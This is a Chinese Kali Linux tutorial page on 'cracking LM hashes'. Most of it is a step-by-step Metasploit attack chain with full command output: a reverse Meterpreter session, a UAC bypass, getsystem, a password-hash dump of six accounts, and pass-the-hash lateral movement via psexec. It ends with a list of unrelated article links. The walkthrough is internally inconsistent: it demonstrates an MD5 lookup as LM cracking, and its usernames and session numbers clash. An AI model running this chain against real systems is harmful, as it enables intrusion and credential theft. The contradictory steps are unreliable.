LM(LAN Manager)Hash是Windows操作系统最早使用的密码哈希算法之一。在Windows 2000、XP、Vista和Windows 7中使用了更先进的NTLMv2之前,这是唯一可用的版本。这些新的操作系统虽然可以支持使用LM哈希,但主要是为了提供向后兼容性。不过在Windows Vista和Windows 7中,该算法默认是被禁用的。本节将介绍如何破解LM Hashes密码。

在Kali Linux中,可以使用findmyhash工具破解LM Hashes密码。其中,findmyhash命令的语法格式如下所示:

findmyhash <Encryption> -h hash

以上语法中,各个选项含义如下所示。

  • Encryption:指定使用的哈希加密类型。
  • -h:指定要破解的LM哈希值。

【实例8-2】使用findmyhash命令攻击LM Hashes密码。执行命令如下所示:

root@kali:~# findmyhash MD5 -h 5f4dcc3b5aa765d61d8327deb882cf99
Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing with md5hood (http://md5hood.com)…
… hash not found in md5hood
Analyzing with stringfunction (http://www.stringfunction.com)…
… hash not found in stringfunction
Analyzing with 99k.org (http://xanadrel.99k.org)…
… hash not found in 99k.org
Analyzing with sans (http://isc.sans.edu)…
… hash not found in sans
Analyzing with bokehman (http://bokehman.com)…
… hash not found in bokehman
Analyzing with goog.li (http://goog.li)…
… hash not found in goog.li
Analyzing with schwett (http://schwett.com)…
… hash not found in schwett
Analyzing with netmd5crack (http://www.netmd5crack.com)…
… hash not found in netmd5crack
Analyzing with md5-cracker (http://www.md5-cracker.tk)…
… hash not found in md5-cracker
Analyzing with benramsey (http://tools.benramsey.com)…
… hash not found in benramsey
Analyzing with gromweb (http://md5.gromweb.com)…
***** HASH CRACKED!! *****
The original string is: password
The following hashes were cracked:
----------------------------------
5f4dcc3b5aa765d61d8327deb882cf99 -> password

以上输出的信息是攻击LM Hashes密码的过程。经过一番的攻击,最后获取到哈希值5f4dcc3b5aa765d61d8327deb882cf99的原始密码是password。

如果觉得破解LM Hashes太慢的话,可以使用Metasploit中的psexec模块绕过Hash值。下面将介绍使用psexec模块绕过Hash值的方法。

(1)通过在目标主机(Windows 7)上运行Veil创建的可执行文件backup.exe,成功获取一个活跃的远程会话,如下所示:

[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:29:55 +0800

从以上信息中,可以看到成功打开了会话1。

(2)查看用户权限信息。执行命令如下所示:

meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw

从输出的信息中,可以看到该用户的权限是一个普通权限。接下来,使用bypassuac模块绕过UAC。

(3)设置lyw用户绕过UAC。执行命令如下所示:

meterpreter > background
[*] Backgrounding session 1…
msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
session => 1
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] UAC is Enabled, checking level…
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing…
[+] Part of Administrators group! Continuing…
[*] Uploaded the agent to the filesystem….
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:34:38 +0800
meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

从输出的信息中,可以看到此时lyw用户权限已经为SYSTEM。

(4)查看目标主机上所有用户的哈希密码值。执行命令如下所示:

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY 45fa5958a01cf2b66b73daa174b19dae…
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hints…
Test:"123"
[*] Dumping password hashes…
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:daf26fce5b47e01aae0f919f529926e3:::
lyw:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
alice:1004:aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec:::

从输出的信息中,可以看到捕获到六个用户的哈希密码值。此时,可以使用SMB psexec模块绕过Hash值。

(5)后台运行会话2。执行命令如下所示:

meterpreter > background
[*] Backgrounding session 2…

(6)使用SMB psexec模块,并设置需要的配置选项参数。执行命令如下所示:

msf exploit(bypassuac) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.6.114 #设置远程主机地址
RHOST => 192.168.6.114
msf exploit(psexec) > set SMBUser Test #设置SMB用户
SMBUser => alice
msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:
22315d6ed1a7d5f8a7c98c40e9fa2dec #设置SMB密码
SMBPass => aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec

(7)启动攻击。执行命令如下所示:

msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.6.114:445|WORKGROUP as user 'lyw'…
[*] Uploading payload…
[*] Created \XBotpcOY.exe…
[*] Deleting \XBotpcOY.exe…
[*] Sending stage (769536 bytes) to 192.168.6.114
[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.114:49159) at 2014-07-22 17:32:13 +0800

从输出的信息中,可以看到使用“Test”用户成功的打开了一个会话。

Kali-linux破解LM Hashes密码的更多相关文章

  1. kali linux 2018.2 mysql密码修改后无效,外部无法连接问题。

    kali linux 2018.2 mysql密码修改后无效,外部无法连接问题 Kali Linux 2018.2 默认MySQL数据库是mariadb,可能和MySQL有些细微的变化,只需要做如下处 ...

  2. Kali Linux破解wifi密码(无须外置网卡)

    环境准备:  方式一(选择该方式):Kali Linux.笔记本一台.U盘(至少8G)  方式二:Kali Linux.外置网卡.笔记本一台.VM   特别说明,主要是使用方式一进行破解,如果有外置网 ...

  3. kali linux 破解wpa密码

    apt-get update apt-get install hostapd-wpe ls -l /etc/hostapd-wpe/ nano /etc/hostapd-wpe/hostapd-wpe ...

  4. Kali Linux破解wifi密码(WEP)

    WEP是无线路由器最初广泛使用的一种加密方式,这种加密方式非常容易被破解. 目前很少有人使用wep加密方式,但是还是会有. 建议:使用WPA/WPA2做为加密方式. 抓包和"破解wpa/wp ...

  5. 未进入Kali Linux系统修改修改密码的方法

    今天使用kali的时候,由于虚拟机太多,密码还不一样,就忘记kali的登录密码了(我就是鱼的记忆,只有七秒).... 1.重启kali,进入恢复系统,按e键进入编辑模式 2.光标移动到/boot/vm ...

  6. Kali Linux重设root密码

    许久不用的Kali,某天打开竟忘了密码! 网上的方法颇为简单,遂准备亲自试一下. #光标移动到第二行的“恢复模式”,按E进入[编辑模式]                                 ...

  7. 使用Kali Linux 破解无线网

    用到的工具 airmon-ngairodump-ngaireplay-ngaircrack-ng 过程 123456789101112131415161718192021222324 root@lm: ...

  8. kali linux中mariadb加上密码

    kali自带mysql.2019.4 中带得是:MariaDB.据说跟Mysql差不多.简单用了一下发现root用户可以不要密码进入Mysql! 这极不习惯,不输入密码感觉好像少了点什么.这肯定是权限 ...

  9. linux破解root登录密码,并重置

    重启系统后按'e'键,进入编辑模式,在'UTF -8'后空格输入'rd.break'后,按快捷键'Ctrl+X'进入新界面进行编辑,代码如下: switch_root:/# mount -o remo ...

随机推荐

  1. 笔记本(华硕UL80VT)软件超频setFSB

    Warning !!!If you are a beginner, do not use this software. This software is for power users only. U ...

  2. jenkins 分布式部署

    一 什么是Jenkins的分布式构建和部署 Jenkins的分布式构建,在Jenkins的配置中叫做节点,分布式构建能够让同一套代码或项目在不同的环境(如:Windows7\winxp和Linux系统 ...

  3. Struts2(二)— Result结果配置、Servlet的API的访问、模型驱动、属性驱动

    一.Result结果配置 1.全局和局部结果 ​ 平常我们设置跳转页面,是在action标签里面加上 result标签来控制,这种设置的页面跳转,称之为局部结果页面但是我们有时候在很多个action里 ...

  4. 多项式乘法,FFT与NTT

    多项式: 多项式?不会 多项式加法: 同类项系数相加: 多项式乘法: A*B=C $A=a_0x^0+a_1x^1+a_2x^2+...+a_ix^i+...+a_{n-1}x^{n-1}$ $B=b ...

  5. 02--CSS的继承性和层叠性

    一 继承性 css有两大特性:继承性和层叠性 面向对象语言都会存在继承的概念,在面向对象语言中,继承的特点:继承了父类的属性和方法.那么我们现在主要研究css,css就是在设置属性的.不会牵扯到方法的 ...

  6. vue2 入门 教程 单页应用最佳实战[*****]

    推荐 vue2 入门 教程 -------- 看过其他的,再看作者的,很赞 vue2 入门 教程 单页应用最佳实战 :  具体在 https://github.com/MeCKodo/vue-tuto ...

  7. Activity 四种launchMode

    launchMode在多个Activity跳转的过程中扮演着重要的角色,它可以决定是否生成新的Activity实例,是否重用已存在的 Activity实例,是否和其他Activity实例公用一个tas ...

  8. 应用程序和Activity

    Android 应用程序的组成部分 Android应用程序由各个组件组成,并使用Manifest绑定到一起,Manifest描述了每一个组件和它们之间的交互方式,还用于指定权限,硬件,平台以及应用程序 ...

  9. 【QT】在子窗体中控制父窗体

    [背景说明]我的主窗体的名字叫做MainWindow,其子窗口是一个叫subDialog的类.我现在想做的是在子窗口的函数中调用父窗口. 在父窗口中打开子窗口 //弹出对话框确定变换的参数 subDi ...

  10. Android知识点滴

    今天,把新作的布局状态魅族机上进行测试 发现了一个BUG,造成闪退. 看了下log,一个布局造成的. 开始分析这个布局造成这个问题的原因. 开始艰难的调试过程. 代码注释大法,发现这个问题是一个tex ...